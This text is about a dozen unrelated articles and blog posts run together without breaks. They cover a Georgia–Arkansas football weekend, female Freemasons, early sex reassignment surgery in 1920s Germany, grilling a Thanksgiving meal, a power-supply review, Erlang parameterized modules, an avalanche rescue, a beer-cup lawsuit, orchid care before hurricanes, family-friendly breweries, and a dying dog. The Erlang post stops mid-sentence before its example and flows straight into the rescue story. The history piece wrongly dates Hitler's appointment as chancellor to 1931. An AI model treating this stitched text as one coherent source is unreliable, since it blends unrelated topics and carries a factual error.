5) Fans at the Dawg Walk - Overall, the Georgia fans in Little Rock were awesome, starting from the Dawg Walk and going all the way through to the end of the game. For some reason the Razorbacks showed up a good 25 minutes early for their "Hog Walk," so their fan base was kind of thin as they walked into the stadium. In fact, the Razorback band wasn't even there yet. Right as the team started walking down the street, the UA staff tried to shuffle in a heads-up group of band members that were still in their t-shirts and gym shorts, but it couldn't have been more than 20 people. And there were a decent number of Hog fans there, but the noise level was decidedly poor. I've heard louder Dawg Walk crowds for a game against the likes of Charleston Southern than the noise the Arkansas fans put up that day.
On the flip side of the coin, though (and on the other side of the stadium), the Dawg Walk in Little Rock was loud and awesome. The Dawgs came in at the time that had been announced (about 1:00 Central, which was the same time Arkansas was supposed to arrive), and a very sizable Bulldog fan contingent greeted them with raucous applause. I'd say we only had about half the number of fans that Arky did at their walk-in, but we easily had twice the amount of noise and encouragement for our men. You could tell in their eyes that they appreciated it, too. It was a great welcoming party.
I also have to give a solid "two thumbs up" to the Georgia fans for recognizing the moment near the end of the Dawg Walk when Greg McGarity and Claude Felton were walking in pretty much by themselves. When the fans recognized McGarity and Felton, a large number of them (including myself) held up three fingers and shouted loudly, "FREE GURLEY!" over and over again. To McGarity's credit, he didn't seem upset by the furore, but kind of lightly chuckled (perhaps laughed nervously?) and slightly nodded towards the fans, acknowledging our cry, while he kept on moving into the stadium.
During the game, I saw no obvious examples of taunting or "bad fan" attitude of the kind that several fan bases have accused us of having in the past. Yes, they got a little rowdy near the end of the game with a couple of loud "What's that coming down the track?" cheers late in the 4th quarter, but that's just harmless fun. There were quite a number of Arkansas fans in our general seating area, and they were not harassed in any way by the Georgia fans around me. I actually had several positive interactions with Razorback fans as we left the stadium, as they congratulated us and we wished them well in the rest of their season.
In fact, the whole weekend, every Razorback fan I met was very cordial, welcoming, and generally acquitted themselves very well in the hospitality department. It was a great fan experience all around, I'd say.
6) War Memorial Stadium - And speaking of a great fan experience, I thoroughly enjoyed being able to watch a game in Little Rock's War Memorial Stadium. The experience is probably not for everybody, since it lacked virtually every "modern" amenity that we as fans have come to insist upon, such as TV monitors and stadium speakers in the concourse area, concession stands with something other than a hot dog, pretzel, and a coke, good cell service, seat backs for your bleacher-style seats, and any vendors that accept credit cards of any kind. It has character, though, and I love that. The stadium was built in 1947, and like many stadia of that time, the rows are extremely narrow by modern standards. You barely had room between the rows to sit down, and if anybody near the middle wanted to get out to the aisle, not only did everybody have to stand up, but the person had to make their way down to the aisle not by walking in the row in front of the standing-up fans, but they had to stand on the seats upon which the fans had previously been sitting and walk down the seats to get to the aisle. It was definitely close-quarters seating.
The fact that the rows are so close together is the primary reason that such a small stadium can seat about 54,000 people. The entire thing is not quite as big as the lower bowl at Sanford Stadium, to give you a perspective on its size. And the slope of the stands is quite steep. In fact, the ramp leading up to the seats from the concourse area is easily the steepest I've ever seen in a stadium. You have to be careful not to walk too fast on it or lose your footing, because a fall could be precarious there.
Still, though, I don't understand why so many Arkansas fans (and the stray LSU fan or two I talked to about the stadium) hate WMS so much. It's a harkening back to a time when college football was more intimate and more fan-centric, and which is quickly fading in the modern world. (In fact, some might say it has already completely faded away, with this one exception.) After the current contract runs out, I have no doubt that Arkansas will decline to play any more games in Little Rock at War Memorial Stadium, and for my part, I think that's a damn shame. (In fairness, Razorback Stadium in Fayetteville really is an impressive stadium, and is a great place to watch a football game. But it will never have the character that War Memorial Stadium has.)
7) The Missouri Tigers - M - I - (expletive) - Z, y'all. God, I love the Tigers from the "good" Columbia so much today.
8) Will Muschamp - TELEGRAM FOR SECRET AGENT DOUBLE-OH BOOM. STOP. YOU HAVE IMPLEMENTED THE DESIRED SCORCHED-EARTH POLICY WITH EXTREME SUCCESS. STOP. MISSION NEARING COMPLETION. STOP. ONE TARGET REMAINING. STOP. DON'T STOP. STOP.
That's it for this week, y'all! As I said, I'm going to let this one soak in for a while before I really get my hate-meter revving up for that team down south. Rest assured, though... once next Sunday rolls around, I'll have you covered for HATE WEEK. Until then...
Female Freemasons have been gathering for more than 100 years - conducting initiations, ceremonies and rituals like their male counterparts. Now, the BBC's Victoria Derbyshire programme has been given unique access to their secret societies.
"What is freemasonry?" asks a master at the Honourable Fraternity of Ancient Freemasons.
"A peculiar system of morality veiled in allegory and illustrated by symbols," replies Dialazaza Nkela.
She is taking part in a ceremony to reach the rank of the "second degree".
It celebrates her rise in standing within the society.
The "first degree" was previously marked by her initiation, which involved her baring her "right arm, left breast and knee" while a noose was placed around her neck.
Each of these elements, it is said, has a symbolic meaning - though we are not told anything more.
Image caption Dialazaza is questioned as to why freemasonry is important to her
The "third degree" is said to be "where you experience death to be reborn", representing "the end of one life and the beginning of another".
What this means in practice, again, is kept from us.
But this in itself is a glimpse into the workings of a secretive society.
Many people perhaps do not even know that female Freemasons exist.
The male Freemasons - who started meeting officially 300 years ago - have always gained greater attention. They are currently led by the Duke of Kent.
But between the two female societies - the Honourable Fraternity of Ancient Freemasons and the Order of Women Freemasons, which split in the early 20th Century - there are nearly 5,000 members.
Image caption The Honourable Fraternity of Ancient Freemasons meet in lodges such as this one
The Order of Women Freemasons meets regularly in lodges, or temples, around the country.
During ceremonies, the women dress in white robes, with regalia worn around their necks to represent their place in the hierarchy.
The service we see begins with a procession down the centre aisle.
Members of the organisation bow as they reach the front, where grand master Zuzanka Penn sits on a grand chair that looks similar to a throne.
Prayers are said during ceremonies, and at times it has the feel of a religious group, although Ms Penn is keen to stress this is not the case.
"In order to be a Freemason, you have to believe in a supreme being," she says, but it can be of "any faith at all".
"We will have people who are very religious, and people who are not as observant - but of any race, any faith," she says.
Image copyright Order of Women Freemasons Image caption Freemasons wear regalia to signify rank
Most of the women in the societies are aged 50 or above - something they are keen to change, targeting university freshers' fairs as a way to recruit younger members.
Optician Roshni Patel is having a ceremony to mark her reaching the rank of a Master Freemason.
She joined the Freemasons seven years ago.
We are not allowed to attend the ceremony, but learn that she was given the "honour" of sitting on the throne-like "chair".
"The whole process of me being put into the chair, that was very emotional," she says, as she exits.
Image caption Roshni has become a master freemason
"Especially by all my lodge members, who I really care about."
Asked about becoming a master Freemason, she adds: "I'm in shock," while still trying to take in her achievement.
But perhaps the Freemasons' greatest recruitment barrier is their reputation for secrecy and association with corruption, including favouritism in which members help each other rise up the career ladder.
It is not something Ms Penn says she recognises.
"I've been a Freemason for over 40 years and I've never been offered a favour or offered anyone else a favour.
"You hear the stories, but I've not come across it in freemasonry at all."
Image caption Christine Chapman says the secrecy is what makes the Freemasons "special"
In 1997, there were calls from then Home Secretary Jack Straw for officers and judges to make voluntary disclosures about their membership, although this plan was later scrapped after the Freemasons threatened to take the government to court.
Christine Chapman, grand master at the Honourable Fraternity of Ancient Freemasons, says while they "do have some police officers… I've not seen anyone being helped [through favours]".
But there have long been allegations that the society is associated with corruption in the police and judiciary.
Masonic rules demand that members support each other and keep each others' lawful secrets, which has led to fears of corrupt cliques developing.
Freemason facts
Image copyright United Grand Lodge of England Image caption There are about six million Freemasons worldwide and more than 200,000 in the UK under the United Grand Lodge of England
There are about 4,700 female Freemasons in the UK, compared with about 200,000 male Freemasons
Freemasons meet in a temple, which they call a "lodge", as it is understood that is where ancient stonemasons met when working on a church or cathedral
They wear masonic aprons, dating back to the theory that freemasonry evolved from the stonemasons, who wore them for protection from stone chipping
The "third degree" is the final stage before becoming a fully fledged Mason. The ceremony involves close questioning, which is where the expression "giving someone the third degree" originates
Famous male Freemasons have included Sir Winston Churchill, Sir Arthur Conan Doyle, Rudyard Kipling, Robert Burns, Oscar Wilde and Peter Sellers
Ms Chapman stresses that the Freemasons' secrecy is to create a sense of allure and mystique rather than hiding "something sinister".
"We're not trying to take over the world, despite all these conspiracy theorists on the internet, and we're not trying to overthrow the government or anything like that.
"We need to preserve an element of secrecy only because that's what makes it special."
One of the most famous aspects of freemasonry has always been the masonic handshake - and this is no different within the female organisations.
"Yes, of course we [have a handshake]," says Ms Penn, refusing to demonstrate what it looks like when asked.
"It's a secret. You'll have to join and then I'll tell you all about it," she says, smiling.
Culturally, transgender issues are certainly having a moment. Last March, Caitlyn Jenner made a star turn on the cover of Vanity Fair. Transparent is one of Amazon’s most successful shows. And Orange is the New Black was a breakout role for transgender actor Laverne Cox.
But aside from reporters’ impertinent questions about genitals, the medical aspects are less discussed. Today, there are well over 100 doctors in the United States who perform sexual reassignment surgery, according to TransHealthCare. But at one point, that number was more like…three.
Two of those worked with Christine Jorgensen, who is often credited as the first recipient of such surgery. She had to go to Denmark to begin treatment, but returned stateside in 1953 as a blond vamp. Becoming a nightclub singer and TV star with a Lauren Bacall fashion sense, she was an international sensation. But it turns out she was not the first person to have her sex reassigned.
Sex reassignment surgery had an earlier life, in an unexpected time and place: 1920s Germany. Several doctors there performed such surgeries using analog technology and organic hormones. They worked under a new paradigm: What if they could make someone’s body fit their mind instead of forcing their mind to fit their body?
“Sex-change surgery did not take root…because of new or unusual medical technology,” writes Yale professor Joanne Meyerowitz in her 2002 book How Sex Changed. “It took root because Germany had a vocal campaign for sexual emancipation.”
Film still from Anders als die Andern or Different from the Others.
Germany had a vibrant LGBT community in the years after World War I. One of the era’s biggest film stars, Conrad Veidt, even portrayed cinema’s first gay character in 1919’s Different from the Others — a film written by renowned sexologist Magnus Hirschfeld, whose later work would be vital to the early research into the biological aspects of trans identity.
Meanwhile, early experiments in hormone replacement were underway in Vienna. One surgeon had successfully introduced transplanted testes into a female guinea pig, noting “the line of demarcation between the sexes is not as sharp as is generally taken for granted.” He was interested in gender but ultimately chose a more profitable route and helped aging men boost their testosterone using a surgery that was basically Steampunk Viagra.
Other doctors seemed less compassionate than curious. One attempted to “cure” homosexuality by replacing a gay man’s testicles with those of a heterosexual donor. There are also accounts of transplanting ape testicles into men, womb insertion, and voluntary castration. Constructed vaginal openings, done with rudimentary painkillers, bordered on the macabre.
Via the Magnus Hirschfeld Foundation
But Hirschfeld took a different route. The Stonewall Society refers to him as part educator and part “father-confessor” who claimed to have discussed homosexuality and transsexual issues with over 30,000 people. He understood surgery as a promising field in the portfolio of sex studies, not as a new practice with which he could make his name.
Hirschfeld saw himself as an activist, constantly referring to a motto of “justice through science.”—which also made him a target of Germany’s rising far right. In 1921, he was jumped after a lecture and left for dead on the street.
He persisted, though, and became an intermediary between the German government and the trans community. One story tells of a trans woman who was arrested on counts of female impersonation. The judge contacted Hirschfeld, who consulted with the woman. She requested and received reassignment surgery, and later worked in Hirschfeld’s Institute for Sexual Science.
Two of Hirschfeld’s colleagues performed numerous reassignments and began to realize that their patients tended to be wealthy Germans. They publicized their surgeries in newspapers, hoping poorer trans people could learn about the procedures and get in touch.
By the early 1930s, people came from around the world to undergo reassignment surgery in Berlin. Then Adolf Hitler was appointed Chancellor of Germany in January 1931. Two years later, his brownshirts broke into Hirschfeld’s institute and burned his journals and research. When Hirschfeld was out of Germany on tour, the Nazi student group marched on the Institute. Over 20,000 books were set aflame, as well as medical diagrams and photographs crucial to understanding sex reassignment surgery. Hirschfeld and his colleagues were Jewish, but it wasn’t just that. Hitler also publicly raged against the “vice” of homosexuality and the “degenerate” lives of transsexuals. They weakened the Aryan cause.
A home Green Bay Packers game on Thanksgiving Day has culinary worlds colliding in Packerland.
Tailgating vs. turkey dinner.
Less dedicated fans might drop one in favor of the other, but not here in a part of the country where time is measured in Lombardi trophies and pride centers on an uncanny ability to keep the grill coals fired under the most adverse conditions.
The good news is that we don’t have to compromise: An entire Thanksgiving meal can be prepared on a Weber kettle grill.
Set up the grill for indirect grilling with a drip pan in the middle. Add liquid to help maintain moisture during the long cook time. Water, chicken stock, soda or that skunky beer hiding in the back of your fridge all work well.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
With some sage advice from Chef Jeff Igel, chair of the culinary arts and hospitality department at Fox Valley Technical College, I made a few tweaks to my grilling game plan and held a Thanksgiving Day pre-season cookout practice in the backyard.
Here’s the game plan:
THE GRILL
After rubbing the turkey with seasoning, tuck the wings under the body and place turkey in the middle of the grill. I tented foil over this turkey during the entire cook to keep the skin from getting too dark.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
Prep: Because of the long cook time, a hinged grate is essential for replenishing coals with fresh briquettes. Smoky flavors are part of the joy of cooking a turkey on the grill. If you plan to use wood chips, begin soaking them in water 2 hours before grill time. Stick with cherry or apple wood.
Game plan: Setup grill for indirect heat with 12 lit briquettes piled on either side of a drip pan. Fill the drip pan with liquid. This is a good time to use that skunky beer a well-meaning, but misguided, friend gave you. If your friend sees you pouring his beer into the drip pan, tell him you saved this beer specially for the "honor" of keeping the turkey moist.
Audible: I use wood chunks instead of chips, because I'm as lazy as the next guy and like to skip the soaking chips in water step.
Coach's clicker: The drip pan will need to be replenished with liquid throughout the cooking process or it will dry up, advises Igel.
A hinged grate is necessary for long cooks, when fresh briquettes and wood need to be added.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
THE TURKEY
About 90 percent of my turkey grilling technique comes from Steven Raichlen's book " How To Grill ." Raichlen himself may have improved this method, but I haven't had a complaint about the turkey in nearly a decade of hosting my family Thanksgiving dinner. Ain't broke, don't fix it.
Prep: Thaw turkey, remove gravy packet, neck, etc … If you're going to brine, plan for an overnight soak, for up to 24 hours. If you don't brine, you'll want to inject the turkey with a sauce or marinade. I've done both, each ha s its merits .
Game plan: Either remove the turkey from the brine or inject with sauce. Pat dry, rub with seasonings and brush with olive oil. Tuck the wings under the bird. Place over the drip pan on the grill. Throw a handful of wood chips or chunks on the coals. Cover the grill and open the top vents. After an hour, add 12 briquettes to each side, wood chips or chunks and brush the turkey with olive oil. Repeat steps after another hour. Check for doneness at 2½ hours, my 11-pound turkey was done at this point having reached 165 F on my instant read thermometer. Getting the turkey off the grill at the right temperature is critical if you want to avoid a "Christmas Vacation" dinner scene . Tent turkey loosely with tinfoil and allow to rest at least 20 minutes.
Time Of Possession: 2½ to 4 hours grilling, 20-30 minutes resting.
Audible: I like to cover my turkey with tin foil while grilling to keep the skin from getting too dark.
Coach's clicker: Igel includes a brine recipe in the cookbook "Grilling, Smoking & BBQ" he co-authored with BBQ Hall of Famer chef Paul Kirk. Chef Paul's Smoked Turkey Brine: 1 gallon distilled water, 1 cup Kosher salt, ½ cup sugar, 6 leaves fresh tarragon or ¼ cup dried tarragon, 1 teaspoon black pepper. Mix ingredients in unchlorinated water. Place turkey in large non-metallic dish and cover completely with brine. Let sit in refrigerator overnight up to 24 hours. Remove turkey from brine, pat dry, coat with olive oil and put in smoker or grill.
Some of the sweet potato is lost to the charring process.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
YAMS
You're going to cook these directly on the coals. Literally, on the coals.
Prep: Choose four medium-sized sweet potatoes that are roughly the same size. Scrub, poke holes with a fork.
Place yams directly on the coals. Trust me, after you've done them this way, you'll never want them any other way.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
Game plan: Put them on the coals. Rotate yams occasionally to achieve an even, black charred crust. When they look burnt and inedible, they're done.
T.O.P.: 40 minutes to an hour.
Audible: Put out marshmallows, butter, maple syrup and brown sugar to allow guests to customize.
Coach's clicker: Yam selection is critical, too big and they could rob the grill of heat. However, Igel says to make sure they are large enough to endure the inevitable loss charring produces.
Having lips on the pans proved handy when pulling them off the grill.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
SIDE DISHES
Two 8-inch disposable aluminum pans fit nicely on a standard kettle grill. I tested a green bean casserole and dressing, but most side dishes made in the oven can be done on the grill. Things got dicey here for me. The green bean casserole came out better than typical. The dressing was dry in spots while mushy in others, something I chalk this up to rushing the stove top preparation.
Prep: When choosing a side dish, make sure cook time is less than 30 minutes. Do as much prep work as possible the night before.
Game plan: Add 12 briquettes per side, take turkey off the grill and tent (see above), place side dish pan(s) in the middle of the grate and put on the grill lid. Cook until heated through.
T.O.P.: 20-30 minutes.
Whoops, I got into the turkey before getting the final photo.
(Photo: Daniel Higgins/Gannett Wisconsin Media)
Audible: The added hit of smoky flavors has me convinced to forever make green bean casseroles on the grill.
Coach's clicker: Stubbornly, I did everything on one grill to test the plan, but as my first attempt with the dressing somewhat flopped (it wasn't completely inedible), Igel's words rang in my head: "It sounds like you have too much food to prepare on one grill. I would focus on the turkey and the sweet potatoes on one grill and consider a second grill for the green beans and the mashed potatoes.*"
*Originally I planned to do stuffing inside the turkey and pan of mashed potatoes. But I heeded Igel's advice: "Not sure mashed potatoes are necessary in addition to sweet potatoes." Plus making stuffing in a grilled or smoked turkey is a USDA no-no .
PIE
What about the pie you ask? Nobody should ever make their pie on Thanksgiving Day.
Daniel Higgins writes about food and drink for Gannett Wisconsin Media,
FSP ranks their Hydro G as their premium series, albeit beneath the 80Plus Platinum certified Aurum PT units. The Hydro G series consists of three 80Plus Gold units, ranging from 650W to 850W. All three units are based on the same platform design and FSP has supplied us with the middle option, the 750W model, which should give us a good look at the quality and performance of the series. FSP is also boasting some interesting features that we are eager to examine, such as changeable side stickers, a "server grade" design and 0 dB(A) fan control.
Power specifications ( Rated @ 50 °C ) AC INPUT 100 - 240 VAC, 50 - 60 Hz RAIL +3.3V +5V +12V +5Vsb -12V MAX OUTPUT 25A 25A 62.5A 3.5A 0.5A 150W 750W 17.5W 6W TOTAL 750W
Packaging and Bundle
FSP packs the Hydro G unit in a short but very sturdy cardboard box. The artwork is simple, based on a dark theme with golden edgings, with a picture of the PSU itself in the middle. The most important features of the PSU are presented on the front side of the box in the form of icons. Details may be found on its sides and rear.
Even though the Hydro G is considered a premium series by FSP, the company is supplying only the absolute basics with it. Inside the box we only found a standard AC power cable, four black mounting screws, and very basic manual/instructions leaflets. The PSU comes adorned with blue stickers, and as part of their color changing gimmick FSP also supplies sets of red and green stickers in the box to change the accent color of the PSU. The whole design of each set of stickers differs, not just the color. However it should be noted that these are true stickers rather than some kind of reusable solution, so once a sticker is applied that's it.
Things have been weird. I’m about to slam into a book deadline at the end of next month and have just fixed a problem that improves the entire thing…it also means an almost total rewrite. Such things make me sad in a way I find hard to quantify. Is there a unit of self inflicted sadness? Measure in millilitres of tears perhaps? Or in their own unit. Face palms? Face palms are a good unit. I am sad to a degree of five face palms and three and a quarter head-desks.
I just finished Charles Stross’ latest book in the Laundry Files The Rhesus Chart . While on the surface it’s about vampires, the fact that it’s a Laundry Files book means that it is taken from a distinctly Lovecraftian point of view. The usual warnings about Stross’ Laundry Novels apply: many acronyms, rampant computer science and math geekiness and massive trauma to characters you’ve come to love. With that said I feel like this is the best of the series so far. I didn’t feel that way at the start, in fact for the first three chapters I was worried that Stross had lost interest in his characters, in the Laundry universe but it seems he was just getting necessary background out of the way. This is very much a ‘wham episode’* and Stross really ramps up the stakes for all involved. The final scene in particular sets the stage for things to come, and they are looking bleak. The Rhesus Chart isn’t as funny as previous entries, but the one liners are still there lurking in the darkness of the narrative.
All in all I highly recommend it, although you might want to start with The Atrocity Archives first if you’re new to the Laundryverse.
I should say that this week’s strip leads into a tentative toe dip into the horror haunted waters of continuity. We’ll see where it goes.
May all your enemies grow second heads that hate them,
Andrew
The following example, myclass.erl , is a parameterized module, a feature that arrived undocumented in a recent Erlang release. Parameterized modules are explored on the ‘net here and here. (The latter link is to a presentation that also covers an even more experimental module-based inheritance mechanism.)
-module(myclass, [Instvar1, Instvar2]). -export([getInstvar1/0, getInstvar2/0]). getInstvar1() -> Instvar1. getInstvar2() -> Instvar2.
“Instances” of the “class” called myclass can be created with myclass:new(A, B) (which is automatically provided by the compiler, and does not appear in the source code), where A and B become values for the variables Instvar1 and Instvar2 , which are implicitly scoped across the entirety of the myclass module body, available to all functions defined within it.
The result of a call to a new method is a simple tuple, much like a record, with the module name in the first position, and the instance variable values in order following it.
Eshell V5.6 (abort with ^G) 1> Handle = myclass:new(123, 234). {myclass,123,234} 2> Handle:getInstvar1(). 123 3> Handle:getInstvar2(). 234
While this looks really similar to OO dispatch in other languages, it’s actually an extension to Erlang’s regular function call syntax, and works with other variations on that syntax, too:
4> {myclass,123,234}:getInstvar1(). 123
The objects that this system provides are pure-functional objects, which is unusual: many object-oriented languages don’t clearly separate the two orthogonal features of late-binding and mutable state. A well-designed language should let you use one without the other, just as Erlang does here: in Erlang, using parameterized modules for method dispatch doesn’t change the way the usual mechanisms for managing mutable state are used. “Instance variables” of parameterized modules are always immutable, and regular state-threading has to be used to get the effects of mutable state.
I’d like to see this feature promoted to first-class, documented, supported status, and I’d also very much like to see it used to structure the standard library. Unfortunately, it’s not yet very well integrated with existing modules like gb_sets , ordsets and sets . For example, here’s what happens when you try it with a simple lists call:
Rescuers say they had no choice but to leave the skiers outside overnight.
North Shore Rescue had warned people to stay out of the back country due to high avalanche risk on B.C.'s South Coast.
The coordinates of Tony Baker Gulley near the Cypress ski area of the North Shore Mountains. North Shore Rescue describes the area as, 'a steep, treacherous, avalanche prone out-of-bounds area.' (North Shore Rescue)
"I think these guys are going to be ok, they're going to be very cold tonight and we'll bring them warm fluid and re-warm them in the morning," said NSR team leader Mike Danks last night."But our hands are really tied given the current conditions."
West Vancouver police were first alerted about the two male skiers around 1:40 p.m. PT on Sunday while ski patrollers from the Cypress Mountain Resort searched their boundaries looking for tracks indicating where the two went.
Danks said the pair went into a "very bad area" — a steep, treacherous, avalanche-prone area called the Tony Baker Gulley.
Subjects are located deep in Tony Baker Gulley, a steep, treacherous, avalanche prone area off the Cypress Ski area. <a href="https://t.co/o6dV2fOOEh">https://t.co/o6dV2fOOEh</a> —@NSRescue
Rescuers have been in contact with the two skiers through text messages, but know little about them. NSR is trying to contact their families, but does not believe the two are experienced skiers or are prepared for what they now face.
"They're not prepared to spend the night on the mountain at this point, but we're not left with a lot of options, given the situation they've gotten themselves into," said Danks.
Rescuers will fly out at 7:30 a.m. PT this morning.
The plan is to continue to assess the avalanche risk. The plan described last night is to attempt to fly a helicopter above the pair and drop rescuers down to the two men with gear, food and fluids to re-warm them and get them out.
'We want nothing more than to go in there and get these guys out but it's a risk. We can't put out members at risk given these current conditions,' said Mike Danks. (CBC)
"We want nothing more than to go in there and get these guys out, but it's a risk," reiterated Danks. "We can't put our members at risk given these current conditions."
The lawsuit says CenturyLink Arena, home of the Idaho Steelheads hockey team, defrauded customers by charging $3 more for a tall, narrow cup advertised as a ”large” that actually holds the same amount of beer as the shorter, wider cup described as a ”small.”
Arena spokesman Mike Campbell said he hadn’t yet seen the lawsuit and can’t comment.
Article continues below ...
Four fans filed the suit Tuesday in Boise’s 4th District Court against Block 22 LLC, which does business as CenturyLink Arena. Brady Peck, Michele Bonds and William and Brittany Graham are seeking $10,000 in damages.
In the lawsuit, Peck says he’s attended at least 30 events over the past three years at the arena, including a hockey game on March 5, and that he’s purchased beer each time. The other three plaintiffs say they have been attending sporting events at the venue for five years and that they bought at least one large $7 beer at each event.
”While different shapes, both cup sizes hold substantially the same amount of liquid and are not large versus small in actual capacity,” the group’s attorney, Wyatt Johnson, wrote in the lawsuit. ”Defendants knowingly sold each of their beers in a similar manner at each event held at the arena where beer was sold for at least the last five years.”
The lawsuit came just two days after another hockey fan posted a video on YouTube of what the fan said was a beer purchased at CenturyLink Arena on March 8. That video shows a patron holding a large cup of beer and pouring it into an empty small cup. In both cups, the beer reaches nearly to the brim.
Gwen Gibbs, who posted the video, told the Idaho Statesman that she was annoyed when she saw her boyfriend, Heath Forsey, pour the large beer into the smaller cup and so decided to upload the video. CenturyLink officials announced a short time later that the company would purchase new cups for the large beers that would hold 24 ounces instead of the previous 20 ounces for a bigger difference in size.
At the time, Eric Trapp, the president of the Idaho Steelheads hockey team and CenturyLink Arena, wrote on the team’s Facebook page that the company had ordered 16-ounce and 20-ounce cups and never intended to mislead customers.
”It’s amazing what can be done with one little video and the power of social media,” Gibbs told the newspaper, joking that she hoped CenturyLink would rename the 24-ounce cups the ”Heath and Gwen size.”
When a hurricane is looming one should run all the orchids as dry as possible to reduce the threat of fungus and bacteria. But contra-intuitively, just before the storm strikes one should saturate the orchids to the max. Now is the time to do that [Note: this piece was originally published the day before Matthew hit, so, water heavily the day before the hurricane makes landfall]. First, because we want the plants to be as heavy as possible to help prevent them being blown away or about. Second, because if one's water source is a well, electricity for the pump may be off for days or even weeks. Thoroughly watered plants will be much happier should this occur. Even if you are able to bring all your collection inside, water them thoroughly with two to three applications spaced a few minutes apart. They will be perfectly happy for a day or two without water and we will all have enough mess to deal with without watering orchids in the house.
Remember, wind velocity increases exponentially as height increases. Get your plants as close to the ground as possible but off the ground as flooding may saturate them with fungus and bacteria. Usually it is not wise to attempt to cover them with a tarp or shade cloth as the whipping of the cloth by the wind likely will cause more harm than the wind itself.
If you are growing under shade cloth, the cloth should be furled tightly to protect it. Bright burning sun is typical in the wake of a hurricane and shade will be invaluable If you are growing under trees be prepared for the possibility that the protective canopy will be destroyed. Have a plan to protect your plants from sun burn.
Posted 12-7-2017 by Esther Ciammachilli.
Cahaba Brewing Company
It’s Saturday afternoon at Cahaba Brewing Company in Birmingham. Twenty-seven-year-old Emily Wignall is clad in Auburn colors and enjoying a beer with some friends. Wignall is also accompanied by her two Golden Retrievers and her four-month-old daughter.
“Anna Robin, my daughter, she loves noise,” Wignall says. “She sleeps better when there’s a lot of chaos going on around her.”
Wignall says she loves the fact that she and her husband can enjoy time out of the house without worrying about finding a babysitter.
Breweries in Alabama have been described as the new coffee houses, but with beer. All are welcome to come play games and hang out with friends. But bringing both human and canine kids to a brewery means keeping it low key.
“You have to pay attention to them,” Wignall says. “I mean I have to make sure I’m taking care of [the dogs], and taking care of [the baby]. And, it’s nice when you can, kind of, bring everyone out together. The dogs don’t have to just sit at home by themselves. You know you can, kind of, all come together and be in this big open space and hang out.”
Cahaba Brewing Company
Breweries started really taking off in 2011, a time when millennials like Wignall were coming of age and later starting families. They’re the ones you see most often at breweries with their kids. The changing culture of breweries isn’t exclusive to Alabama. Breweries all over the country have become more family-friendly in recent years.
Eric Meyer is brewmaster and managing partner at Cahaba Brewing. He says seeing kids at a brewery in Alabama is still pretty jarring for some people “because there is such a context about how beer, alcohol is such a negative thing. And that’s been a struggle with us since the beginning. You know a lot of people are like, ‘Can I bring my kids here? You guys are a bar.’ We’re not a bar we’re a brewery.”
In the eyes of Alabama law, breweries fall into a gray area between manufacturer and retailer. They can only sell the alcohol made on site, kind of like wineries. This allows breweries to be more family-friendly. It’s an interesting idea given that less than 100 years ago the federal government banned alcohol for moral reasons. Meyer says they have had complaints about the dogs and kids. And he understands why some people might be uncomfortable, but that they’re not going to change their policy.
“We just want to be able to create an environment where anybody is welcome to come in any way they are,” he says. “Whether they have a dog or not, whether they have a kid or not, we want them to feel comfortable. And I think that’s kind of the environment that we’re trying to assume.”
Carie Partain is president of Free the Hops, a grassroots organization that championed the craft beer movement in Alabama. As a mother of two, she loves having a place where both adults and their children can go and play games like Cornhole and Giant Jenga. And she says breweries give parents a chance to teach their kids about responsible drinking.
“I think that is a smart way to educate young people coming into the world of alcohol that it can be done responsibly,” she says. “It must be done responsibly. And to see that modeled is probably I think, very key in my mind.”
Rules for kids and dogs vary. Some breweries only allow dogs outside. Some don’t let children in after certain hours. And to be clear, no brewery in Alabama lets minors in without an adult. Folklore Brewing and Meadery in Dothan has a strict 21 and over policy. Jeremy Pate is owner and brewmaster. He declined to be interviewed for this story, but said in an email the no-children rule is for safety. Dogs, however, are always welcome. Cheers!
Maybe it’s more like walking around with my insides on my outside, and my flesh and bones and organs clanking noticeably as I walk around, like wares swinging on the flanks of a pack mule. You bruise easily when you walk around like that, so I’m more wary and jumpy. I also want to beat the crap out of somebody.
Chile is dying. And I’m so sad about my boy, but I’m also angry and exhausted along with the worry and fear and sense that I’m perpetually overwhelmed. Overwhelmed by the sheer hours spent at the hospital this week, the convoluted conversations with specialists that I struggle to comprehend, getting right the dosage of the half-dozen medications that he’s prescribed.
Exhausted because I don’t sleep well – never knowing whether he’ll still be here when I wake up. I approach his still body quietly each morning, waiting to notice the rise and fall of his red furry chest before I exhale my own sigh of relief that he’s still with us.
And I’m angry: Angry because I feel so helpless to do anything at all to make him breathe more easily and rest without panting, like he did only a day or two ago. It feels excruciatingly unbearable to sit around and do nothing to help him, but instead to go on as usual — to go to work and show up at meetings and answer some emails and toss some laundry in the machine and hear about my daughter’s school day and think about planting those tomato seedlings in a pot on the deck….
Part of me feels slightly crazy and desperate when the vet gives me the latest update on his condition – like I want to shake her thin shoulders until her kind eyes loll around in her head, commanding, “FIX HIM!” But my rational side knows better, and it shushes that inner freak to focus on what we’re dealing with here, and to listen closely for the subtext, which I don’t want to miss. I have to be sure to hear the part when she’ll answer the unspoken question: “Will he get better?”
And I’m angry because I’m feeling gypped out of more time with him – he’s only 9, he’ll be 10 in August (if he makes it is what that inner crazy person just said pointedly). Nine isn’t unreasonable for a Cavalier King Charles Spaniel. But it isn’t reasonable, either. No time ever is long enough, when you are talking about someone you love.
Are you thinking – even a little bit – he’s just a dog? Yeah, he is a dog. But not “just.” Chile has been with me the longest; longer than the other three dogs in our house. I would like to use this paragraph to relay some amazing anecdote about his life, to recall his fearlessness in the face of tragedy and recount the courageous way he led a child through a burning building to safety, the smoke searing his own brave lungs. His demise should be trending on Twitter.
But of course the truth is anything but that: He was a difficult little dog; we called him “complex.” He was riddled with anxiety and fears. He saw shadows where there were none. He was ridiculously picky with food. He had bad teeth. He was afraid of thunder and swimming pools. He didn’t warm up to most people; he barked through the fence at the neighbors. He was an asshole to other dogs.
In other words, he lived an ordinary life, like most of us. He loved his walks. He chased seagulls on the beach — running like a lunatic through the muddy surf, his eyes full of expectation that maybe he might bag one this time. (He never did.) Later, he would roll in the sand and emerge looking breaded, like a cutlet. He made his body boneless and cozy when he pressed it into mine on cold nights. He followed the conversation, shifting his big brown gaze from person to person as they spoke, in a way that made him look weirdly human. I guess he was nothing special. But he was extraordinary.
Was. I just realized I’m using the past tense.
